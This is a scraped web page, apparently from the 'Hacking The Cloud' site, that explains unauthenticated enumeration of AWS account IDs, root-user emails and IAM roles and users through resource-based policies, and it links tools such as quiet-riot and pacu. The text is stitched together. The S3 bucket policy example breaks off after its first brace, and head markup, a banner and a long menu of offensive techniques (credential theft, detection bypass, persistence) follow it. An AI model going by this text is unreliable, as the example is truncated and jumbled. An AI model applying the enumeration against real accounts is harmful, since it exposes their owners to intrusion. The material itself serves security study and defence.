xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m21.71 20.29-1.42 1.42a1 1 0 0 1-1.41 0L7 9.85A3.8 3.8 0 0 1 6 10a4 4 0 0 1-3.78-5.3l2.54 2.54.53-.53 1.42-1.42.53-.53L4.7 2.22A4 4 0 0 1 10 6a3.8 3.8 0 0 1-.15 1l11.86 11.88a1 1 0 0 1 0 1.41M2.29 18.88a1 1 0 0 0 0 1.41l1.42 1.42a1 1 0 0 0 1.41 0l5.47-5.46-2.83-2.83M20 2l-4 2v2l-2.17 2.17 2 2L18 8h2l2-4Z"/></svg></span> <strong>Tools mentioned in this article</strong></p> <hr> <ul> <li><a href=https://github.com/righteousgambit/quiet-riot>quiet-riot</a> </li> <li><a href=https://github.com/Frichetten/enumate_iam_using_bucket_policy>enumerate_iam_using_bucket_policy</a></li> <li><a href=https://github.com/RhinoSecurityLabs/pacu/tree/master/pacu/modules/iam__enum_roles>pacu:iam_enum_roles</a></li> </ul> </li> </ul> </div> <p>You can enumerate AWS Account IDs, Root User account e-mail addresses, IAM roles, IAM users, and gain insights to enabled AWS and third-party services by abusing <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html#policies_resource-based>Resource-Based Policies</a>, even in accounts for which you have no access. <a href=https://github.com/righteousgambitresearch/quiet-riot>Quiet Riot</a> offers a scalable method for enumerating each of these items with configurable wordlists per item type. Furthermore - it also allows you to enumerate Azure Active Directory and Google Workspace valid email addresses - which can then be used to test for valid Root User accounts in AWS, assuming that the email address is the same.</p> <p>Ultimately, if you want to perform these techniques at scale - Quiet Riot is your best bet, but if you want to do it manually, you can a number of ways to do so. Another way to enumerate IAM principals would be to use S3 Bucket Policies. Take the following example:</p> <div class=highlight><pre><span></span><code>{
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#unauthenticated-enumeration-of-iam-users-and-roles class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2 checked> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li 